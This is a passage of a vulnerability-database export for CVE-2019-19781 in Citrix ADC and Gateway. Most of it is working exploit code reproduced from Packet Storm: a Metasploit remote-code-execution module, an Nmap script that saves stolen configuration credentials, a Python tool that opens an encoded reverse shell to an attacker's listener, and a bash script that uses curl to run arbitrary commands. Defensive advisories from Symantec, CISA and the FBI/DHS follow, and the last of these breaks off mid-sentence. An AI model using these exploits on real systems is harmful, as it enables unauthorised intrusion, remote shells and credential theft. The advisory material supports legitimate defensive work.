\"chr(#{c.ord})\" }.join('.') \nend \n \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/155947/citrix_dir_traversal_rce.rb.txt"}, {"lastseen": "2020-01-16T22:49:44", "description": "", "cvss3": {}, "published": "2020-01-16T00:00:00", "type": "packetstorm", "title": "Citrix ADC / Gateway Path Traversal", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T00:00:00", "id": "PACKETSTORM:155972", "href": "https://packetstormsecurity.com/files/155972/Citrix-ADC-Gateway-Path-Traversal.html", "sourceData": "`# Exploit Title: Path Traversal in Citrix Application Delivery Controller \n(ADC) and Gateway. \n# Date: 17-12-2019 \n# CVE: CVE-2019-19781 \n# Vulenrability: Path Traversal \n# Vulnerablity Discovery: Mikhail Klyuchnikov \n# Exploit Author: Dhiraj Mishra \n# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0 \n# Vendor Homepage: https://www.citrix.com/ \n# References: https://support.citrix.com/article/CTX267027 \n# https://github.com/nmap/nmap/pull/1893 \n \nlocal http = require \"http\" \nlocal stdnse = require \"stdnse\" \nlocal shortport = require \"shortport\" \nlocal table = require \"table\" \nlocal string = require \"string\" \nlocal vulns = require \"vulns\" \nlocal nmap = require \"nmap\" \nlocal io = require \"io\" \n \ndescription = [[ \nThis NSE script checks whether the traget server is vulnerable to \nCVE-2019-19781 \n]] \n--- \n-- @usage \n-- nmap --script https-citrix-path-traversal -p <port> <host> \n-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args \noutput='file.txt' \n-- @output \n-- PORT STATE SERVICE \n-- 443/tcp open http \n-- | CVE-2019-19781: \n-- | Host is vulnerable to CVE-2019-19781 \n-- @changelog \n-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj) \n-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__) \n-- @xmloutput \n-- <table key=\"NMAP-1\"> \n-- <elem key=\"title\">Citrix ADC Path Traversal aka (Shitrix)</elem> \n-- <elem key=\"state\">VULNERABLE</elem> \n-- <table key=\"description\"> \n-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5, \n11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path \n-- traversal vulnerability that allows attackers to read configurations or \nany other file. \n-- </table> \n-- <table key=\"dates\"> \n-- <table key=\"disclosure\"> \n-- <elem key=\"year\">2019</elem> \n-- <elem key=\"day\">17</elem> \n-- <elem key=\"month\">12</elem> \n-- </table> \n-- </table> \n-- <elem key=\"disclosure\">17-12-2019</elem> \n-- <table key=\"extra_info\"> \n-- </table> \n-- <table key=\"refs\"> \n-- <elem>https://support.citrix.com/article/CTX267027</elem> \n-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem> \n-- </table> \n-- </table> \n \nauthor = \"Dhiraj Mishra (@RandomDhiraj)\" \nDiscovery = \"Mikhail Klyuchnikov (@__Mn1__)\" \nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\" \ncategories = {\"discovery\", \"intrusive\",\"vuln\"} \n \nportrule = shortport.ssl \n \naction = function(host,port) \nlocal outputFile = stdnse.get_script_args(SCRIPT_NAME..\".output\") or nil \nlocal vuln = { \ntitle = 'Citrix ADC Path Traversal', \nstate = vulns.STATE.NOT_VULN, \ndescription = [[ \nCitrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, \n12.1, and 13.0 are vulnerable \nto a unauthenticated path traversal vulnerability that allows attackers to \nread configurations or any other file. \n]], \nreferences = { \n'https://support.citrix.com/article/CTX267027', \n'https://nvd.nist.gov/vuln/detail/CVE-2019-19781', \n}, \ndates = { \ndisclosure = {year = '2019', month = '12', day = '17'}, \n}, \n} \nlocal vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) \nlocal path = \"/vpn/../vpns/cfg/smb.conf\" \nlocal response \nlocal output = {} \nlocal success = \"Host is vulnerable to CVE-2019-19781\" \nlocal fail = \"Host is not vulnerable\" \nlocal match = \"[global]\" \nlocal credentials \nlocal citrixADC \nresponse = http.get(host, port.number, path) \n \nif not response.status then \nstdnse.print_debug(\"Request Failed\") \nreturn \nend \nif response.status == 200 then \nif string.match(response.body, match) then \nstdnse.print_debug(\"%s: %s GET %s - 200 OK\", \nSCRIPT_NAME,host.targetname or host.ip, path) \nvuln.state = vulns.STATE.VULN \ncitrixADC = ((\"Path traversal: https://%s:%d%s\"):format(host.targetname \nor host.ip,port.number, path)) \nif outputFile then \ncredentials = response.body:gsub('%W','.') \nvuln.check_results = stdnse.format_output(true, citrixADC) \nvuln.extra_info = stdnse.format_output(true, \"Credentials are being \nstored in the output file\") \nfile = io.open(outputFile, \"a\") \nfile:write(credentials, \"\\n\") \nelse \nvuln.check_results = stdnse.format_output(true, citrixADC) \nend \nend \nelseif response.status == 403 then \nstdnse.print_debug(\"%s: %s GET %s - %d\", SCRIPT_NAME, host.targetname \nor host.ip, path, response.status) \nvuln.state = vulns.STATE.NOT_VULN \nend \n \nreturn vuln_report:make_output(vuln) \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/155972/cadcg-traversal.nse.txt"}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-13T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway 10.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "PACKETSTORM:155930", "href": "https://packetstormsecurity.com/files/155930/Citrix-Application-Delivery-Controller-Gateway-10.5-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Citrix ADC Remote Code Execution', \n'Description' => %q( \nAn issue was discovered in Citrix Application Delivery Controller (ADC) \nand Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. \n), \n'Author' => [ \n'RAMELLA S\u00e9bastien' # https://www.pirates.re/ \n], \n'References' => [ \n['CVE', '2019-19781'], \n['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'], \n['EDB', '47901'], \n['EDB', '47902'] \n], \n'DisclosureDate' => '2019-12-17', \n'License' => MSF_LICENSE, \n'Platform' => ['unix'], \n'Arch' => ARCH_CMD, \n'Privileged' => true, \n'Payload' => { \n'Compat' => { \n'PayloadType' => 'cmd', \n'RequiredCmd' => 'generic perl meterpreter' \n} \n}, \n'Targets' => [ \n['Unix (remote shell)', \n'Type' => :cmd_shell, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_perl', \n'DisablePayloadHandler' => 'false' \n} \n], \n['Unix (command-line)', \n'Type' => :cmd_generic, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/generic', \n'DisablePayloadHandler' => 'true' \n} \n], \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] \n} \n)) \n \nregister_options([ \nOptAddress.new('RHOST', [true, 'The target address']) \n]) \n \nregister_advanced_options([ \nOptBool.new('ForceExploit', [false, 'Override check result', false]) \n]) \n \nderegister_options('RHOSTS') \nend \n \ndef execute_command(command, opts = {}) \nfilename = Rex::Text.rand_text_alpha(16) \nnonce = Rex::Text.rand_text_alpha(6) \n \nrequest = { \n'method' => 'POST', \n'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'), \n'headers' => { \n'NSC_USER' => '../../../netscaler/portal/templates/' + filename, \n'NSC_NONCE' => nonce \n}, \n'vars_post' => { \n'url' => 'http://127.0.0.1', \n'title' => \"[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]\", \n'desc' => 'desc', \n'UI_inuse' => 'RfWeb' \n}, \n'encode_params' => false \n} \n \nbegin \nreceived = send_request_cgi(request) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \nreturn false unless received \n \nif received.code == 200 \nvprint_status(\"#{received.get_html_document.text}\") \nsleep 2 \n \nrequest = { \n'method' => 'GET', \n'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'), \n'headers' => { \n'NSC_USER' => nonce, \n'NSC_NONCE' => nonce \n} \n} \n \n## Trigger to gain exploitation. \nbegin \nsend_request_cgi(request) \nreceived = send_request_cgi(request) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \nreturn false unless received \nreturn received \nend \n \nreturn false \nend \n \ndef get_chr_payload(command) \nchr_payload = command \ni = chr_payload.length \n \noutput = \"\" \nchr_payload.each_char do | c | \ni = i - 1 \noutput << \"chr(\" << c.ord.to_s << \")\" \nif i != 0 \noutput << \" . \" \nend \nend \n \nreturn output \nend \n \ndef check \nbegin \nreceived = send_request_cgi( \n\"method\" => \"GET\", \n\"uri\" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf') \n) \nrescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN \nprint_error('Unable to connect on the remote target.') \nend \n \nif received && received.code != 200 \nreturn Exploit::CheckCode::Safe \nend \nreturn Exploit::CheckCode::Vulnerable \nend \n \ndef exploit \nunless check.eql? Exploit::CheckCode::Vulnerable \nunless datastore['ForceExploit'] \nfail_with(Failure::NotVulnerable, 'The target is not exploitable.') \nend \nelse \nprint_good('The target appears to be vulnerable.') \nend \n \ncase target['Type'] \nwhen :cmd_generic \nprint_status(\"Sending #{datastore['PAYLOAD']} command payload\") \nvprint_status(\"Generated command payload: #{payload.encoded}\") \n \nreceived = execute_command(payload.encoded) \nif (received) && (datastore['PAYLOAD'] == \"cmd/unix/generic\") \nprint_warning('Dumping command output in parsed http response') \nprint_good(\"#{received.get_html_document.text}\") \nelse \nprint_warning('Empty response, no command output') \nreturn \nend \n \nwhen :cmd_shell \nprint_status(\"Sending #{datastore['PAYLOAD']} command payload\") \nvprint_status(\"Generated command payload: #{payload.encoded}\") \n \nexecute_command(payload.encoded) \nend \nend \n \nend \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/155930/citrix-exec.rb.txt"}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway Remote Code Execution / Traversal", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "PACKETSTORM:155905", "href": "https://packetstormsecurity.com/files/155905/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution-Traversal.html", "sourceData": "`#!/usr/bin/python3 \n# \n# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 \n# \n# You only need a listener like netcat to catch the shell. \n# \n# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White \n# \n# Tool Written by: Rob Simon and David Kennedy \n \nimport requests \nimport urllib3 \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings \nimport random \nimport string \nimport time \nfrom random import randint \nimport argparse \nimport sys \n \n# random string generator \ndef randomString(stringLength=10): \nletters = string.ascii_lowercase \nreturn ''.join(random.choice(letters) for i in range(stringLength)) \n \n# our random string for filename - will leave artifacts on system \nfilename = randomString() \nrandomuser = randomString() \n \n# generate random number for the nonce \nnonce = randint(5, 15) \n \n# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script \n# note that the file location will be in /netscaler/portal/templates/filename.xml \ndef stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport): \n \n# encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC) \nencoded = \"\" \ni=0 \ntext = (\"\"\"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\"\"\" % (attackerip, attackerport)) \nwhile i < len(text): \nencoded = encoded + \"chr(\"+str(ord(text[i]))+\") . \" \ni += 1 \nencoded = encoded[:-3] \npayload=\"[% template.new({'BLOCK'='print readpipe(\" + encoded + \")'})%]\" \nheaders = ( \n{ \n'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', \n'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename), \n'NSC_NONCE' : '%s' % (nonce), \n}) \n \ndata = ( \n{ \n\"url\" : \"127.0.0.1\", \n\"title\" : payload, \n\"desc\" : \"desc\", \n\"UI_inuse\" : \"a\" \n}) \n \nurl = (\"https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl\" % (victimip, victimport)) \nrequests.post(url, data=data, headers=headers, verify=False) \n \n# this is our second stage that triggers the exploit for us \ndef stage2(filename, randomuser, nonce, victimip, victimport): \nheaders = ( \n{ \n'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', \n'NSC_USER' : '%s' % (randomuser), \n'NSC_NONCE' : '%s' % (nonce), \n}) \n \nrequests.get(\"https://%s:%s/vpn/../vpns/portal/%s.xml\" % (victimip, victimport, filename), headers=headers, verify=False) \n \n \n# start our main code to execute \nprint(''' \n \n.o oOOOOOOOo OOOo \nOb.OOOOOOOo OOOo. oOOo. .adOOOOOOO \nOboO\"\"\"\"\"\"\"\"\"\"\"\".OOo. .oOOOOOo. OOOo.oOOOOOo..\"\"\"\"\"\"\"\"\"'OO \nOOP.oOOOOOOOOOOO \"POOOOOOOOOOOo. `\"OOOOOOOOOP,OOOOOOOOOOOB' \n`O'OOOO' `OOOOo\"OOOOOOOOOOO` .adOOOOOOOOO\"oOOO' `OOOOo \n.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO \nOOOOO '\"OOOOOOOOOOOOOOOO\"` oOO \noOOOOOba. .adOOOOOOOOOOba .adOOOOo. \noOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO \nOOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO\"` '\"OOOOOOOOOOOOO.OOOOOOOOOOOOOO \n\"OOOO\" \"YOoOOOOMOIONODOO\"` . '\"OOROAOPOEOOOoOY\" \"OOO\" \nY 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` \n: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . \n. oOOP\"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO\"OOo \n'%o OOOO\"%OOOO%\"%OOOOO\"OOOOOO\"OOO': \n`$\" `OOOO' `O\"Y ' `OOOO' o . \n. . OP\" : o . \n: \n \nCitrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 \nTool Written by: Rob Simon and Dave Kennedy \nContributions: The TrustedSec Team \nWebsite: https://www.trustedsec.com \nINFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ \n \nThis tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used \nto append files in an XML format to the victim machine. This in turn allows for remote code execution. \n \nBe sure to cleanup these two file locations: \n/var/tmp/netscaler/portal/templates/ \n/netscaler/portal/templates/ \n \nUsage: \n \npython citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\\n''') \n \n# parse our commands \nparser = argparse.ArgumentParser() \nparser.add_argument(\"target\", help=\"the vulnerable server with Citrix (defaults https)\") \nparser.add_argument(\"targetport\", help=\"the target server web port (normally on 443)\") \nparser.add_argument(\"attackerip\", help=\"the attackers reverse listener IP address\") \nparser.add_argument(\"attackerport\", help=\"the attackersa reverse listener port\") \nargs = parser.parse_args() \nprint(\"[*] Firing STAGE1 POST request to create the XML template exploit to disk...\") \nprint(\"[*] Saving filename as %s.xml on the victim machine...\" % (filename)) \n# trigger our first post \nstage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport) \nprint(\"[*] Sleeping for 2 seconds to ensure file is written before we call it...\") \ntime.sleep(2) \nprint(\"[*] Triggering GET request for the newly created file with a listener waiting...\") \nprint(\"[*] Shell should now be in your listener... enjoy. Keep this window open..\") \nprint(\"[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/\") \n# trigger our second post \nstage2(filename, randomuser, nonce, args.target, args.targetport) \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/155905/citrix-traversalexec.txt"}, {"lastseen": "2020-01-13T22:40:41", "description": "", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "packetstorm", "title": "Citrix Application Delivery Controller / Gateway Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "PACKETSTORM:155904", "href": "https://packetstormsecurity.com/files/155904/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution.html", "sourceData": "`#!/bin/bash \n# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781 \n# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a' \n# Release Date : 11/01/2020 \n# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia \necho \"================================================================================= \n___ _ _ ____ ___ _ _ \n| _ \\ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _ \n| _/| '_|/ _ \\ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \\ | | | ' \\ / _' || |/ _' | \n|_| |_| \\___/_/ |\\___|\\__| \\__| /___|\\___||_| \\___/ |___||_||_|\\__,_||_|\\__,_| \n|__/ CVE-2019-19781 \n=================================================================================\" \n############################## \nif [ -z \"$1\" ]; \nthen \necho -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\\n' \nexit; \nfi \nfilenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1); \ncurl -s -k \"https://$1/vpn/../vpns/portal/scripts/newbm.pl\" -d \"url=http://example.com\\&title=[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]\\&desc=test\\&UI_inuse=RfWeb\" -H \"NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid\" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is \necho -ne \"\\n\" ;curl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -s -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is \necho -ne \"Command Output :\\n\" \ncurl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is \n`\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/155904/citrixadcg-exec.txt"}], "symantec": [{"lastseen": "2021-06-08T18:51:35", "description": "### Description\n\nMultiple Citrix Products are prone to a remote code-execution vulnerability. Successfully exploiting this issue will allow attackers to execute arbitrary code within the context of the application.\n\n### Technologies Affected\n\n * Citrix NetScaler Gateway 10.5 \n * Citrix NetScaler Gateway 11.1 \n * Citrix NetScaler Gateway 12.0 \n * Citrix NetScaler Gateway 12.1 \n * Citrix NetScaler Gateway 13.0 \n * Citrix Netscaler Application Delivery Controller 10.5 \n * Citrix Netscaler Application Delivery Controller 11.1 \n * Citrix Netscaler Application Delivery Controller 12.0 \n * Citrix Netscaler Application Delivery Controller 12.1 \n * Citrix Netscaler Application Delivery Controller 13.0 \n\n### Recommendations\n\n**Block external access at the network boundary, unless external parties require service.** \nIf global access isn't needed, filter access to the affected computer at the network boundary. Restricting access to only trusted computers and networks might greatly reduce the likelihood of successful exploits.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from successful exploits\n\n**Implement multiple redundant layers of security.** \nVarious memory-protection schemes (such as non-executable and randomly mapped memory segments) may hinder an attacker's ability to exploit this vulnerability to execute arbitrary code. \n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2019-12-17T00:00:00", "type": "symantec", "title": "Multiple Citrix Products CVE-2019-19781 Remote Code Execution Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2019-12-17T00:00:00", "id": "SMNTC-111238", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/111238", "cvss": {"score": 0.0, "vector": "NONE"}}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "Issue in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 allowing Directory Traversal.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Citrix Application Delivery Controller and Citrix Gateway Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2019-19781", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ics": [{"lastseen": "2023-03-14T18:32:15", "description": "### Summary\n\nThe Federal Bureau of Investigation (FBI), Department of Homeland Security (DHS), and Cybersecurity and Infrastructure Security Agency (CISA) assess Russian Foreign Intelligence Service (SVR) cyber actors\u2014also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and Yttrium\u2014will continue to seek intelligence from U.S. and foreign entities through cyber exploitation, using a range of initial exploitation techniques that vary in sophistication, coupled with stealthy intrusion tradecraft within compromised networks. The SVR primarily targets government networks, think tank and policy analysis organizations, and information technology companies. On April 15, 2021, the White House released a statement on the recent SolarWinds compromise, attributing the activity to the SVR. For additional detailed information on identified vulnerabilities and mitigations, see the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and FBI Cybersecurity Advisory titled \u201cRussian SVR Targets U.S. and Allied Networks,\u201d released on April 15, 2021.\n\nThe FBI and DHS are providing information on the SVR\u2019s cyber tools, targets, techniques, and capabilities to aid organizations in conducting their own investigations and securing their networks.\n\nClick here for a PDF version of this report.\n\n### Threat Overview\n\nSVR cyber operations have posed a longstanding threat to the United States. Prior to 2018, several private cyber security companies published reports about APT 29 operations to obtain access to victim networks and steal information, highlighting the use of customized tools to maximize stealth inside victim networks and APT 29 actors\u2019 ability to move within victim environments undetected.\n\nBeginning in 2018, the FBI observed the SVR shift from using malware on victim networks to targeting cloud resources, particularly e-mail, to obtain information. The exploitation of Microsoft Office 365 environments following network access gained through use of modified SolarWinds software reflects this continuing trend. Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations.\n\n### Technical Details\n\n### SVR Cyber Operations Tactics, Techniques, and Procedures\n\n### Password Spraying\n\nIn one 2018 compromise of a large network, SVR cyber actors used password spraying to identify a weak password associated with an administrative account. The actors conducted the password spraying activity in a \u201clow and slow\u201d manner, attempting a small number of passwords at infrequent intervals, possibly to avoid detection. The password spraying used a large number of IP addresses all located in the same country as the victim, including those associated with residential, commercial, mobile, and The Onion Router (TOR) addresses.\n\nThe organization unintentionally exempted the compromised administrator\u2019s account from multi-factor authentication requirements. With access to the administrative account, the actors modified permissions of specific e-mail accounts on the network, allowing any authenticated network user to read those accounts.\n\nThe actors also used the misconfiguration for compromised non-administrative accounts. That misconfiguration enabled logins using legacy single-factor authentication on devices which did not support multi-factor authentication. The FBI suspects this was achieved by spoofing user agent strings to appear to be older versions of mail clients, including Apple\u2019s mail client and old versions of Microsoft Outlook. After logging in as a non-administrative user, the actors used the permission changes applied by the compromised administrative user to access specific mailboxes of interest within the victim organization.\n\nWhile the password sprays were conducted from many different IP addresses, once the actors obtained access to an account, that compromised account was generally only accessed from a single IP address corresponding to a leased virtual private server (VPS). The FBI observed minimal overlap between the VPSs used for different compromised accounts, and each leased server used to conduct follow-on actions was in the same country as the victim organization.\n\nDuring the period of their access, the actors consistently logged into the administrative account to modify account permissions, including removing their access to accounts presumed to no longer be of interest, or adding permissions to additional accounts. \n\n#### _**Recommendations**_\n\nTo defend from this technique, the FBI and DHS recommend network operators to follow best practices for configuring access to cloud computing environments, including:\n\n * Mandatory use of an approved multi-factor authentication solution for all users from both on premises and remote locations.\n * Prohibit remote access to administrative functions and resources from IP addresses and systems not owned by the organization.\n * Regular audits of mailbox settings, account permissions, and mail forwarding rules for evidence of unauthorized changes.\n * Where possible, enforce the use of strong passwords and prevent the use of easily guessed or commonly used passwords through technical means, especially for administrative accounts.\n * Regularly review the organization\u2019s password management program.\n * Ensure the organization\u2019s information technology (IT) support team has well-documented standard operating procedures for password resets of user account lockouts.\n * Maintain a regular cadence of security awareness training for all company employees.\n\n### Leveraging Zero-Day Vulnerability\n\nIn a separate incident, SVR actors used CVE-2019-19781, a zero-day exploit at the time, against a virtual private network (VPN) appliance to obtain network access. Following exploitation of the device in a way that exposed user credentials, the actors identified and authenticated to systems on the network using the exposed credentials.\n\nThe actors worked to establish a foothold on several different systems that were not configured to require multi-factor authentication and attempted to access web-based resources in specific areas of the network in line with information of interest to a foreign intelligence service.\n\nFollowing initial discovery, the victim attempted to evict the actors. However, the victim had not identified the initial point of access, and the actors used the same VPN appliance vulnerability to regain access. Eventually, the initial access point was identified, removed from the network, and the actors were evicted. As in the previous case, the actors used dedicated VPSs located in the same country as the victim, probably to make it appear that the network traffic was not anomalous with normal activity.\n\n#### **_Recommendations_**\n\nTo defend from this technique, the FBI and DHS recommend network defenders ensure endpoint monitoring solutions are configured to identify evidence of lateral movement within the network and:\n\n * Monitor the network for evidence of encoded PowerShell commands and execution of network scanning tools, such as NMAP.\n * Ensure host based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.\n * Require use of multi-factor authentication to access internal systems.\n * Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization\u2019s security baseline and incorporate into enterprise monitoring tools.\n\n### WELLMESS Malware\n\nIn 2020, the governments of the United Kingdom, Canada, and the United States attributed intrusions perpetrated using malware known as WELLMESS to APT 29. WELLMESS was written in the Go programming language, and the previously-identified activity appeared to focus on targeting COVID-19 vaccine development. The FBI\u2019s investigation revealed that following initial compromise of a network\u2014normally through an unpatched, publicly-known vulnerability\u2014the actors deployed WELLMESS. Once on the network, the actors targeted each organization\u2019s vaccine research repository and Active Directory servers. These intrusions, which mostly relied on targeting on-premises network resources, were a departure from historic tradecraft, and likely indicate new ways the actors are evolving in the virtual environment. More information about the specifics of the malware used in this intrusion have been previously released and are referenced in the \u2018Resources\u2019 section of this document.\n\n### Tradecraft Similarities of SolarWinds-enabled Intrusions\n\nDuring the spring and summer of 2020, using modified SolarWinds network monitoring software as an initial intrusion vector, SVR cyber operators began to expand their access to numerous networks. The SVR\u2019s modification and use of trusted SolarWinds products as an intrusion vector is also a notable departure from the SVR\u2019s historic tradecraft.\n\nThe FBI\u2019s initial findings indicate similar post-infection tradecraft with other SVR-sponsored intrusions, including how the actors purchased and managed infrastructure used in the intrusions. After obtaining access to victim networks, SVR cyber actors moved through the networks to obtain access to e-mail accounts. Targeted accounts at multiple victim organizations included accounts associated with IT staff. The FBI suspects the actors monitored IT staff to collect useful information 